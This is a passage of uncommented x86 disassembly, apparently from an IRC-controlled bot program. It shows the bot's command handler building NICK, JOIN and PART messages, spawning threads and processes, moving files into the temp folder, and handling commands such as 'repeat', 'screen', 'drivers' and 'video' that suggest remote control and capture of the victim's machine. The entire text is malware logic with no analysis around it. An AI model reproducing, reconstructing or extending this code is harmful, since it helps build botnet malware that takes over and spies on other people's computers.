CreateThread mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4080D1 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442724 jmp loc_4082A3 ; --------------------------------------------------------------------------- loc_4080C9: ; CODE XREF: sub_401C87+6450j push 32h call ds:dword_4F534C ; Sleep loc_4080D1: ; CODE XREF: sub_401C87+642Fj cmp [ebp+var_3284], ebx jz short loc_4080C9 jmp loc_4082B2 ; --------------------------------------------------------------------------- loc_4080DE: ; CODE XREF: sub_401C87+4DA1j ; sub_401C87+4DB8j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41E510 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41E510 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41E510 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41E510 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C0] mov [ebp+var_306C], esi push offset unk_44275C push eax call sub_41EA60 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 0Eh push eax call sub_40B691 add esp, 0Ch mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset sub_414067 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4081B8 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44278C jmp loc_4082A3 ; --------------------------------------------------------------------------- loc_4081B0: ; CODE XREF: sub_401C87+6537j push 32h call ds:dword_4F534C ; Sleep loc_4081B8: ; CODE XREF: sub_401C87+6516j cmp [ebp+var_2E5C], ebx jz short loc_4081B0 jmp loc_4082B2 ; --------------------------------------------------------------------------- loc_4081C5: ; CODE XREF: sub_401C87+4C79j ; sub_401C87+4C90j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41E510 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41E510 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41E510 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41E510 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41E510 push [ebp+arg_0] mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C0] mov [ebp+var_3CEC], esi push offset unk_4427C4 push eax call sub_41EA60 add esp, 50h lea eax, [ebp+var_2C0] push ebx push 0Dh push eax call sub_40B691 add esp, 0Ch mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset sub_4132FC push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4082CC call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4427F4 loc_4082A3: ; CODE XREF: sub_401C87+4EA2j ; sub_401C87+5832j ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch loc_4082B2: ; CODE XREF: sub_401C87+4EB7j ; sub_401C87+5847j ... cmp [ebp+var_8], ebx jnz loc_402593 push ebx push [ebp+var_4] jmp loc_40402E ; --------------------------------------------------------------------------- loc_4082C4: ; CODE XREF: sub_401C87+664Bj push 32h call ds:dword_4F534C ; Sleep loc_4082CC: ; CODE XREF: sub_401C87+660Ej cmp [ebp+var_3A5C], ebx jz short loc_4082C4 jmp short loc_4082B2 ; --------------------------------------------------------------------------- loc_4082D6: ; CODE XREF: sub_401C87+4C4Bj ; sub_401C87+4C62j push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41E510 push edi call sub_41E710 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41E510 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_408321 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41E510 add esp, 0Ch loc_408321: ; CODE XREF: sub_401C87+6686j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C0] push offset dword_44282C push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 1Fh push eax call sub_40B691 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4019A5 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4083B0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_44285C jmp loc_406F0F ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_401C87+672Fj push 32h call ds:dword_4F534C ; Sleep loc_4083B0: ; CODE XREF: sub_401C87+670Ej cmp [ebp+var_161C], ebx jz short loc_4083A8 jmp loc_406F1E ; --------------------------------------------------------------------------- loc_4083BD: ; CODE XREF: sub_401C87+4C0Bj ; sub_401C87+4C22j push edi call sub_41E710 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_4084AD push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41EC30 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41EC30 mov eax, [ebp+var_4] push edi push [ebp+arg_10] mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] mov [ebp+var_1D58], eax push offset unk_442898 lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 push ebx lea eax, [ebp+var_2C0] push 15h push eax call sub_40B691 add esp, 38h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset sub_413740 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4084A0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4428C4 jmp loc_406190 ; --------------------------------------------------------------------------- loc_408498: ; CODE XREF: sub_401C87+681Fj push 32h call ds:dword_4F534C ; Sleep loc_4084A0: ; CODE XREF: sub_401C87+67FEj cmp [ebp+var_1D54], ebx jz short loc_408498 jmp loc_407148 ; --------------------------------------------------------------------------- loc_4084AD: ; CODE XREF: sub_401C87+6745j push offset unk_4428FC jmp loc_40713A ; --------------------------------------------------------------------------- loc_4084B7: ; CODE XREF: sub_401C87+4BDDj ; sub_401C87+4BF4j push edi push [ebp+arg_10] call ds:dword_4F5388 ; MoveFileA test eax, eax jz short loc_4084E4 push edi lea eax, [ebp+var_2C0] push [ebp+arg_10] push offset unk_442934 push 200h push eax call sub_41EC30 jmp loc_404247 ; --------------------------------------------------------------------------- loc_4084E4: ; CODE XREF: sub_401C87+683Cj push offset dword_442958 call sub_418C20 push eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 add esp, 10h jmp loc_407148 ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401C87+4BAFj ; sub_401C87+4BC6j push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41EC30 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408542 push edi push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz short loc_408542 push eax lea eax, [ebp+var_3E00] push eax call sub_41EA60 pop ecx pop ecx loc_408542: ; CODE XREF: sub_401C87+689Bj ; sub_401C87+68AAj push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_442964 lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 push ebx lea eax, [ebp+var_2C0] push 24h push eax call sub_40B691 add esp, 2Ch mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset sub_417606 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_408607 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442994 loc_4085EB: ; CODE XREF: sub_401C87+8E5j ; sub_401C87+A0Dj ... lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch jmp loc_402593 ; --------------------------------------------------------------------------- loc_4085FF: ; CODE XREF: sub_401C87+6986j push 32h call ds:dword_4F534C ; Sleep loc_408607: ; CODE XREF: sub_401C87+6956j cmp [ebp+var_3CF0], ebx jz short loc_4085FF jmp loc_402593 ; --------------------------------------------------------------------------- loc_408614: ; CODE XREF: sub_401C87+4B81j ; sub_401C87+4B98j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41E4B0 push [ebp+arg_10] mov [ebp+var_668], esi xor esi, esi mov [ebp+var_638], bx inc esi mov [ebp+var_63C], esi call sub_41E710 add esp, 10h cmp eax, esi jnz short loc_408653 mov [ebp+var_638], 5 loc_408653: ; CODE XREF: sub_401C87+69C1j cmp [ebp+var_C], ebx jz loc_406F1E push edi push [ebp+var_C] call sub_41EBB0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406F1E lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_4F5340 ; CreateProcessA test eax, eax lea eax, [ebp+var_2C0] jnz short loc_4086A2 push offset unk_4429D0 jmp loc_4064A4 ; --------------------------------------------------------------------------- loc_4086A2: ; CODE XREF: sub_401C87+6A0Fj push edi push offset dword_4429F4 jmp loc_406F15 ; --------------------------------------------------------------------------- loc_4086AD: ; CODE XREF: sub_401C87+4B53j ; sub_401C87+4B6Aj push edi push offset aTarab ; "Tarab" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40881F lea eax, [ebp+var_48F0] push eax push 104h call ds:dword_4F5384 ; GetTempPathA push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41E510 lea eax, [ebp+var_17D0] push eax call sub_40B075 push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset dword_442A10 push eax call sub_41EA60 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_40873F push 10h push ebx push eax call sub_41F450 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_408745 ; --------------------------------------------------------------------------- loc_40873F: ; CODE XREF: sub_401C87+6AA2j mov [ebp+var_23C0], ebx loc_408745: ; CODE XREF: sub_401C87+6AB6j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40875C push esi call sub_41E710 pop ecx mov [ebp+var_23C4], eax jmp short loc_408762 ; --------------------------------------------------------------------------- loc_40875C: ; CODE XREF: sub_401C87+6AC4j mov [ebp+var_23C4], ebx loc_408762: ; CODE XREF: sub_401C87+6AD3j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41E510 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_23B4], eax mov eax, [ebp+var_8] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C0] push offset dword_442A1C push eax call sub_41EA60 push esi lea eax, [ebp+var_2C0] push 1Eh push eax call sub_40B691 add esp, 24h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset sub_416D68 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_408812 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442A48 jmp loc_406F0F ; --------------------------------------------------------------------------- loc_40880A: ; CODE XREF: sub_401C87+6B91j push 32h call ds:dword_4F534C ; Sleep loc_408812: ; CODE XREF: sub_401C87+6B70j cmp [ebp+var_23B0], ebx jz short loc_40880A jmp loc_406F1E ; --------------------------------------------------------------------------- loc_40881F: ; CODE XREF: sub_401C87+6A35j push offset dword_442A88 jmp loc_40649E ; --------------------------------------------------------------------------- loc_408829: ; CODE XREF: sub_401C87+4B25j ; sub_401C87+4B3Cj push [ebp+var_8C] push offset a332_2 ; "332" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4076C4 cmp [ebp+var_C], ebx jz loc_4076C4 push edi push [ebp+var_C] call sub_41EBB0 push eax lea eax, [ebp+var_2C0] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS_0 ; "%s %s %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41E510 push [ebp+arg_10] call sub_41E710 add esp, 30h test eax, eax jle short loc_4088B2 push [ebp+arg_10] call sub_41E710 imul eax, 3E8h pop ecx push eax call ds:dword_4F534C ; Sleep loc_4088B2: ; CODE XREF: sub_401C87+6C13j push offset dword_442AE4 call sub_415A3C mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_409C2A ; --------------------------------------------------------------------------- loc_4088C6: ; CODE XREF: sub_401C87+4AF7j ; sub_401C87+4B0Ej push [ebp+var_8C] push offset dword_442AF8 call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4076C4 cmp [ebp+var_C], ebx jz loc_409A67 push edi push [ebp+var_C] call sub_41EBB0 inc edi push offset aRepeat_0 ; "repeat" push edi mov esi, eax call sub_41F7E0 add esp, 10h test eax, eax push esi lea eax, [ebp+var_2C0] jz short loc_408981 push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41E510 push esi lea eax, [ebp+var_2C0] push offset dword_442B14 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+arg_10] call sub_41E710 add esp, 38h test eax, eax jle loc_409A67 push [ebp+arg_10] call sub_41E710 add eax, [ebp+arg_24] pop ecx jmp loc_409C2A ; --------------------------------------------------------------------------- loc_408981: ; CODE XREF: sub_401C87+6C85j push offset unk_442B2C jmp loc_40922B ; --------------------------------------------------------------------------- loc_40898B: ; CODE XREF: sub_401C87+4AC9j ; sub_401C87+4AE0j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41E510 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41E510 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41E510 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi mov [ebp+var_208C], eax push [ebp+arg_10] lea eax, [ebp+var_2C0] mov [ebp+var_2218], esi push offset unk_442B60 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 0Fh push eax call sub_40B691 add esp, 40h mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset sub_414C64 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_408A4F call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_442B94 jmp loc_408B13 ; --------------------------------------------------------------------------- loc_408A47: ; CODE XREF: sub_401C87+6DCEj push 32h call ds:dword_4F534C ; Sleep loc_408A4F: ; CODE XREF: sub_401C87+6DADj cmp [ebp+var_2088], ebx jz short loc_408A47 jmp loc_408B22 ; --------------------------------------------------------------------------- loc_408A5C: ; CODE XREF: sub_401C87+4A9Bj ; sub_401C87+4AB2j push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41E510 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41E510 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41E510 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2220], eax push [ebp+arg_10] lea eax, [ebp+var_2C0] mov [ebp+var_23AC], esi push offset dword_442BD0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 11h push eax call sub_40B691 add esp, 40h mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset sub_41440C push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_408B4A call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_442BFC loc_408B13: ; CODE XREF: sub_401C87+6DBBj lea eax, [ebp+var_2C0] push eax call sub_41EA60 add esp, 0Ch loc_408B22: ; CODE XREF: sub_401C87+6DD0j ; sub_401C87+6ECBj cmp [ebp+var_8], ebx jnz loc_40758A push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_407582 ; --------------------------------------------------------------------------- loc_408B42: ; CODE XREF: sub_401C87+6EC9j push 32h call ds:dword_4F534C ; Sleep loc_408B4A: ; CODE XREF: sub_401C87+6E7Ej cmp [ebp+var_221C], ebx jz short loc_408B42 jmp short loc_408B22 ; --------------------------------------------------------------------------- loc_408B54: ; CODE XREF: sub_401C87+4A6Dj ; sub_401C87+4A84j push edi lea eax, [ebp+var_2C0] push offset aPartS_0 ; "PART %s" push eax call sub_41EA60 push [ebp+arg_10] call sub_41E710 add esp, 10h test eax, eax jle loc_409A67 push [ebp+arg_10] call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 lea eax, [ebp+var_2C0] push eax push offset aS_22 ; "%s\r\n" loc_408B99: ; CODE XREF: sub_401C87+6F7Dj ; sub_401C87+7B03j push [ebp+arg_10] call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C2F jmp loc_404AE3 ; --------------------------------------------------------------------------- loc_408BB8: ; CODE XREF: sub_401C87+4A3Fj ; sub_401C87+4A56j push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push edi push offset aJoinSS_1 ; "JOIN %s %s" push eax call sub_41EA60 push [ebp+arg_10] call sub_41E710 add esp, 14h test eax, eax jle loc_409A67 push [ebp+arg_10] call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 lea eax, [ebp+var_2C0] push eax push offset aS_23 ; "%s\r\n" jmp short loc_408B99 ; --------------------------------------------------------------------------- loc_408C06: ; CODE XREF: sub_401C87+4A11j ; sub_401C87+4A28j push edi lea eax, [ebp+var_2C0] push offset aNickS_6 ; "NICK %s" push eax call sub_41EA60 mov esi, [ebp+arg_10] push esi call sub_41E710 add esp, 10h test eax, eax jle loc_409A67 push esi call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 lea eax, [ebp+var_2C0] push eax push offset aS_24 ; "%s\r\n" push esi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C2F push edi push esi push offset dword_442C6C loc_408C69: ; CODE XREF: sub_401C87+706Aj ; sub_401C87+70D6j ... call sub_415AB0 jmp loc_404408 ; --------------------------------------------------------------------------- loc_408C73: ; CODE XREF: sub_401C87+49E3j ; sub_401C87+49FAj cmp [ebp+var_C], ebx jz loc_409A67 push edi push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408CA2 push esi lea eax, [ebp+var_2C0] push offset dword_442C88 push eax call sub_41EA60 add esp, 0Ch loc_408CA2: ; CODE XREF: sub_401C87+7004j mov edi, [ebp+arg_10] push edi call sub_41E710 test eax, eax pop ecx jle loc_409A67 push edi call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 lea eax, [ebp+var_2C0] push eax push offset dword_442C90 push edi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C2F push esi push edi push offset dword_442C98 jmp loc_408C69 ; --------------------------------------------------------------------------- loc_408CF6: ; CODE XREF: sub_401C87+49B5j ; sub_401C87+49CCj cmp [ebp+var_C], ebx jz loc_409A67 push edi push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409A67 mov edi, [ebp+arg_10] push edi call sub_41E710 test eax, eax pop ecx jle loc_409A67 push edi call sub_41E710 cmp eax, 400h pop ecx jge loc_409A67 push esi push offset dword_442CB4 push edi call sub_41E710 imul eax, 234h pop ecx push ds:dword_455F0C[eax] call sub_409C2F push esi push edi push offset dword_442CBC jmp loc_408C69 ; --------------------------------------------------------------------------- loc_408D62: ; CODE XREF: sub_401C87+4987j ; sub_401C87+499Ej cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409A67 push esi push offset dword_442CD8 push [ebp+arg_4] call sub_409C2F push esi push offset unk_442CE4 loc_408D96: ; CODE XREF: sub_401C87+7CAAj ; sub_401C87+7CC7j ... call sub_415AB0 jmp loc_40368A ; --------------------------------------------------------------------------- loc_408DA0: ; CODE XREF: sub_401C87+4959j ; sub_401C87+4970j push [ebp+var_8C] push offset a332_3 ; "332" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4076C4 push edi push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] call sub_409C2F push [ebp+arg_10] call sub_41E710 imul eax, 3E8h add esp, 10h push eax call ds:dword_4F534C ; Sleep push [ebp+esi+var_84] push edi push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409C2F push offset dword_442D20 call sub_415A3C jmp loc_40368A ; --------------------------------------------------------------------------- loc_408E04: ; CODE XREF: sub_401C87+492Bj ; sub_401C87+4942j cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] call sub_41BC70 push [ebp+arg_8] mov esi, eax call sub_41BC70 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41EBB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409A67 push esi lea eax, [ebp+var_2C0] push offset dword_442D34 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409C75 push esi push [ebp+arg_10] push offset unk_442D40 call sub_415AB0 add esp, 2Ch jmp loc_409A67 ; --------------------------------------------------------------------------- loc_408E76: ; CODE XREF: sub_401C87+48FDj ; sub_401C87+4914j cmp [ebp+var_C], ebx jz loc_409A67 push [ebp+arg_10] call sub_41BC70 push [ebp+arg_8] mov esi, eax call sub_41BC70 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41EBB0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409A67 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409C75 push esi push [ebp+arg_10] push offset unk_442D5C call sub_415AB0 add esp, 20h jmp loc_409A67 ; --------------------------------------------------------------------------- loc_408ED0: ; CODE XREF: sub_401C87+48CFj ; sub_401C87+48E6j cmp [ebp+var_C], ebx jz loc_4076C4 push edi push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz loc_4076C4 push eax push [ebp+arg_10] call sub_415944 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset unk_442D7C push eax call sub_41EA60 add esp, 14h jmp loc_407569 ; --------------------------------------------------------------------------- loc_408F11: ; CODE XREF: sub_401C87+48A1j ; sub_401C87+48B8j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419036 jmp loc_40427B ; --------------------------------------------------------------------------- loc_408F2B: ; CODE XREF: sub_401C87+4863j ; sub_401C87+4878j push [ebp+arg_10] push [ebp+arg_1C] call sub_41EBB0 pop ecx test eax, eax pop ecx jz loc_409A67 mov esi, [ebp+esi+var_88] cmp esi, ebx jz short loc_408FC6 push esi push [ebp+var_C] call sub_41EBB0 mov esi, eax pop ecx cmp esi, ebx pop ecx lea eax, [ebp+var_2C0] jz short loc_408FB4 push esi push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS_1 ; "%s %s %s :%s" push eax call sub_41EA60 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41E510 push esi lea eax, [ebp+var_2C0] push [ebp+arg_10] push offset unk_442DAC push eax call sub_41EA60 add esp, 34h inc [ebp+arg_24] jmp loc_409398 ; --------------------------------------------------------------------------- loc_408FB4: ; CODE XREF: sub_401C87+72D9j push offset unk_442DD4 push eax call sub_41EA60 pop ecx pop ecx jmp loc_409398 ; --------------------------------------------------------------------------- loc_408FC6: ; CODE XREF: sub_401C87+72C2j push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B975 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 push [ebp+arg_10] lea eax, [ebp+var_2C0] push offset dword_442E04 push 200h push eax call sub_41EC30 add esp, 24h jmp loc_409398 ; --------------------------------------------------------------------------- loc_40900F: ; CODE XREF: sub_401C87+4839j ; sub_401C87+484Ej push offset aScreen ; "screen" push [ebp+arg_10] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40906A mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_409057 push edi call sub_415D1B cmp eax, 1 pop ecx lea eax, [ebp+var_2C0] jnz short loc_409050 push edi push offset unk_442E28 push eax call sub_41EA60 add esp, 0Ch jmp short loc_40906A ; --------------------------------------------------------------------------- loc_409050: ; CODE XREF: sub_401C87+73B6j push offset unk_442E54 jmp short loc_409062 ; --------------------------------------------------------------------------- loc_409057: ; CODE XREF: sub_401C87+73A4j push offset unk_442E84 lea eax, [ebp+var_2C0] loc_409062: ; CODE XREF: sub_401C87+73CEj push eax call sub_41EA60 pop ecx pop ecx loc_40906A: ; CODE XREF: sub_401C87+7399j ; sub_401C87+73C7j push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4090F7 xor edi, edi loc_40907F: ; CODE XREF: sub_401C87+745Bj lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call ds:dword_4E2FF8 test eax, eax jz short loc_4090DE lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_442EC8 push eax call sub_41EA60 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 28h loc_4090DE: ; CODE XREF: sub_401C87+7419j inc edi cmp edi, 0Ah jl short loc_40907F lea eax, [ebp+var_2C0] push offset unk_442EF0 push eax call sub_41EA60 pop ecx pop ecx loc_4090F7: ; CODE XREF: sub_401C87+73F4j push offset aFrame ; "frame" push [ebp+arg_10] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_409198 cmp [ebp+esi+var_88], ebx jz short loc_409185 cmp [ebp+esi+var_84], ebx jz short loc_409185 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_409185 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_409185 push eax call sub_41E710 pop ecx push eax push edi call sub_41E710 pop ecx push eax push [ebp+esi+var_84] call sub_41E710 pop ecx push eax push [ebp+esi+var_88] call sub_415F56 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jnz short loc_40917E push [ebp+esi+var_88] push offset unk_442F20 push eax call sub_41EA60 add esp, 0Ch jmp short loc_409198 ; --------------------------------------------------------------------------- loc_40917E: ; CODE XREF: sub_401C87+74DEj push offset unk_442F4C jmp short loc_409190 ; --------------------------------------------------------------------------- loc_409185: ; CODE XREF: sub_401C87+748Ej ; sub_401C87+7497j ... push offset unk_442F80 lea eax, [ebp+var_2C0] loc_409190: ; CODE XREF: sub_401C87+74FCj push eax call sub_41EA60 pop ecx pop ecx loc_409198: ; CODE XREF: sub_401C87+7481j ; sub_401C87+74F5j push offset aVideo ; "video" push [ebp+arg_10] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_409377 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_409243 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_409243 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_409243 mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_409243 mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_409243 push esi call sub_41E710 pop ecx push eax push edi call sub_41E710 pop ecx push eax push [ebp+arg_18] call sub_41E710 pop ecx 